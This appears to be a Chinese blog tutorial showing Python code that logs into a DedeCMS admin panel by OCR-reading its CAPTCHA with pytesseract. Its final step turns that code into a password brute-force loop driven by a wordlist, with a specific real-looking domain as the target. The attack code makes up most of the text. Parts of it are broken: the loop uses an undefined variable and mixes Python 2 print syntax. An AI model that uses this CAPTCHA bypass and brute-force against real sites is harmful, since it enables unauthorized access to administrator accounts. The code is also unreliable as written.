1. 程式人生 > >python3 遠端登入帶驗證碼

python3 遠端登入帶驗證碼

第一步用burpsuite 或者fiddler 等抓包看 post提交的資料,方便設定 post 的data 包


然後設定 header 和 data

url = 'http://xxxxxxxx/login.php'
s = requests.session()
data = {
	'dopost':'login',
	'adminstyle':'newdedecms',
	'userid':'root',
	'pwd':'password',
	'validate':'vali'
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
html = s.post(url, data=data, headers=header)
print(html.text)

第二步:把頁面驗證碼儲存起來,以便於用pytesseract識別驗證碼(PHP檔案字尾可直接保持session的情況下訪問php檔案返回的html就是當前需要提交的圖片

s = requests.session()
urlCode = "http:/XXXXXXXXX/include/vdimgck.php"
resp = s.get(urlCode)
f = open("./img.jpg","wb")
f.write(resp.content)   
f.close()

   第三步:識別驗證碼 (需要安裝 pillow、pytesseract、tesseract-ocr

im=Image.open('img.jpg')        
#imgry = im.convert('L')        #轉化為灰色  (中間的註釋操作可神略,是將圖片更容易識別,還需要其他操作)
# threshold = 140		#將圖片二極化
# table = []
# for i in range(256):
#     if i < threshold:
#         table.append(0)
#     else:
#         table.append(1)
# out = imgry.point(table, '1')
pytesseract.image_to_string(im) 

第四步:把各步簡單整合,返回登入成功的頁面 

import pytesseract
from PIL import Image
import requests


def vidnum(url,s):
	res = s.get(url) 	 		#載入驗證碼頁面
	f = open("./img.jpg","wb")
	f.write(res.content)   			#儲存驗證碼數圖片
	f.close()

	im=Image.open('img.jpg')  	
	# imgry = im.convert('L')         #轉化為灰色 (中間的註釋操作可神略,是將圖片更容易識別,還需要其他操作)
	# threshold = 140				#將圖片二極化
	# table = []
	# for i in range(256):
	# 	if i < threshold:
	# 		table.append(0)
	# 	else:
	# 		table.append(1)
	# im = imgry.point(table, '1')


	vidnum = pytesseract.image_to_string(im) #返回的驗證碼
	return vidnum.replace(' ','')		#去除空格


def main(url):
	loginurl = url + '/login.php'
	s = requests.session()
	vakudate = vidnum(url +"/vdimgck.php",s);
	data = {
		'dopost':'login',
		'adminstyle':'newdedecms',
		'userid':'admin',
		'pwd':'admin',
		'validate': vakudate
	}
	header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
	s.post(loginurl, data=data, headers=header)    #帶資料訪問

	html = s.post(url).text   #返回登入成功的頁面
	return  html
	

aa = main('http://www.xxxxxxxxx.cn')
print(aa)

第五步:小改下main 函式,就可以 爆破密碼 (利用密碼集文字,或者自己寫生成器)

def main(url,pwd):
	loginurl = url + 'dede/login.php'
	s = requests.session()
	vakudate = vidnum(url +"include/vdimgck.php",s);
	data = {
		'dopost':'login',
		'adminstyle':'newdedecms',
		'userid':'admin',
		'pwd':pwd,
		'validate': vakudate
	}
	header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
	s.post(loginurl, data=data, headers=header)			#帶資料訪問

	if (s.post(url).text == '登入成功頁面'):			#判斷是否登入成功,每個網站不用,或用其他判斷
		return  pwd
	else:
		return 

file = open('passwork.txt','r+');	#載入密碼集
for x in open('passwork.txt'):
	passwork =file.readline();
	pwd = passwork.strip()

	true_pass = main('http://www.wuxiaodong.cn/',pwd)  
	if result is not None:
		print true_pass;   #輸出真實密碼


總結:運用 requests 庫 去模擬訪問 ,使用 pillow、pytesseract、tesseract-ocr 庫 識別驗證碼(雖然成功率不是很高,但是簡單),可以模擬登入,獲取cookie  ,還可以簡單爆破密碼,小小的一次python經驗記載